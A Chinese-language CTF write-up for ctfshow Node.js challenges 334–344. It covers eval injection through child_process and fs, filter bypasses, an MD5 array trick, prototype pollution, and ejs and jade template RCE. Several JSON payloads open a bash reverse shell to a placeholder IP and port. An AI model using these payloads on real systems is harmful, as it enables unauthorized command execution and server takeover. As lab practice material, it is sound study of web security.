web 334 大小写特性 1 2 3 4 5 6 7 8 9 10 11 12 13 14 module .exports = { items : [ {username : 'CTFSHOW' , password : '123456' } ] }; var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); };
账密
web 335 函数利用 函数利用
1 2 3 4 5 6 7 8 require ('child_process' ).execSync ('ls' );require ('child_process' ).execSync ('ls' ).toString ();require ('child_process' ).spawnSync ('cat' ,['fl00g.txt' ]).output ;require ('child_process' ).spawnSync ('cat' ,['fl00g.txt' ]).stdout ;require ('fs' ).readdirSync ('.' );require ('fs' ).readFileSync ('fl00g.txt' )
web 336 函数利用 黑盒过滤? 别急
查看当前页面的执行脚本内容 /?eval=__filename
得到 /app/routes/index.js
查看 index.js 的内容1 /?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
过滤exec | load1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 var express = require ('express' );var router = express.Router ();router.get ('/' , function (req, res, next ) { res.type ('html' ); var evalString = req.query .eval ; if (typeof evalString === 'string' && evalString.search (/exec|load/i ) > -1 ) { res.render ('index' , { title : 'tql' }); } else { try { var result = eval (evalString); res.render ('index' , { title : result }); } catch (error) { res.render ('index' , { title : 'Error in evaluation' }); } } }); module .exports = router;
修改命令(绕过过滤)1 2 3 4 5 require ('child_process' ).execSync ('ls' );require ('child_process' )['exe' +'cSync' ]('ls' );
也可以利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件1 2 3 require ('fs' ).readdirSync ('.' )require ('fs' ).readFileSync ('fl001g.txt' ,'utf-8' )
web 337 MD5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } }); module .exports = router;
MD5 绕过 1 a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)
1 2 3 /?a[x]=1&b[x]=2 /?a[0]=1&b[0]=1
web 338 原型链污染 继承与原型链
给了源码
/routes/login.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; let user = {}; var secert = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
这里 secert.ctfshow==='36dboy'
utils.copy() 1 2 3 4 5 6 7 8 9 10 11 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
赋值 赋值 , 令原型新加一个 ctfshow ='36dboy'
1 {"__proto__" :{"ctfshow" :"36dboy" }}
抓包 , 替换掉原来给 username, passwd 赋值的 JSON 包 发出就能拿 flag
web 339 原型链污染 白盒 结构跟 338 类似
/routes/login.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );function User ( ){ this .username ='' ; this .password ='' ; } function normalUser ( ){ this .user } router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; var secert = {}; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ===flag){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
utils.copy()函数跟 338 一样
secert.ctfshow===flag
flag 不知道因此不能够通过 修改属性 达成条件
/api.js1 {"__proto__" :{"query" :"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')" }}
非预期解 引擎漏洞
1 {"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2" }}
web 340 原型链污染 类似 339
1 {"__proto__" :{"__proto__" :{"query" :"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')" }}}
web 341 ejs 模板引擎漏洞 Snyk 依赖性安全漏洞扫描工具-CSDN博客 存在ejs模板引擎漏洞
1 2 {"__proto__" :{"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');var __tmp2" }}}
web 342 343 JADE RCE 再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)
1 2 3 4 5 6 7 8 9 10 11 {"__proto__" :{"__proto__" :{"type" :"Block" ,"nodes" :"" ,"compileDebug" :1 ,"self" :1 ,"line" :"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')" }}} {"__proto__" :{"__proto__" : {"type" :"Code" ,"compileDebug" :true ,"self" :true ,"line" :"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');//" }}} {"__proto__" :{"__proto__" : {"type" :"Block" ,"nodes" :"" ,"compileDebug" :1 ,"self" :1 ,"line" :"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')" }}}
web 344 需要满足
1 2 if (query.name ==='admin' &&query.password ==='ctfshow' &&query.isVIP ===true )
但是过滤了 ,
和 2c
(逗号的url编码) 我们可以用&代替 传之前对 ctfshow 进行 url 编码
1 2 ?query={"name" :"admin" &query="password" :"ctfshow" &query="isVIP" :true }
因为”的 url 编码是%22 再和 c 连接起来就是%22c,会匹配到正则表达式
1 2 ?query={"name" :"admin" &query="password" :"%63%74%66%73%68%6f%77" &query="isVIP" :true }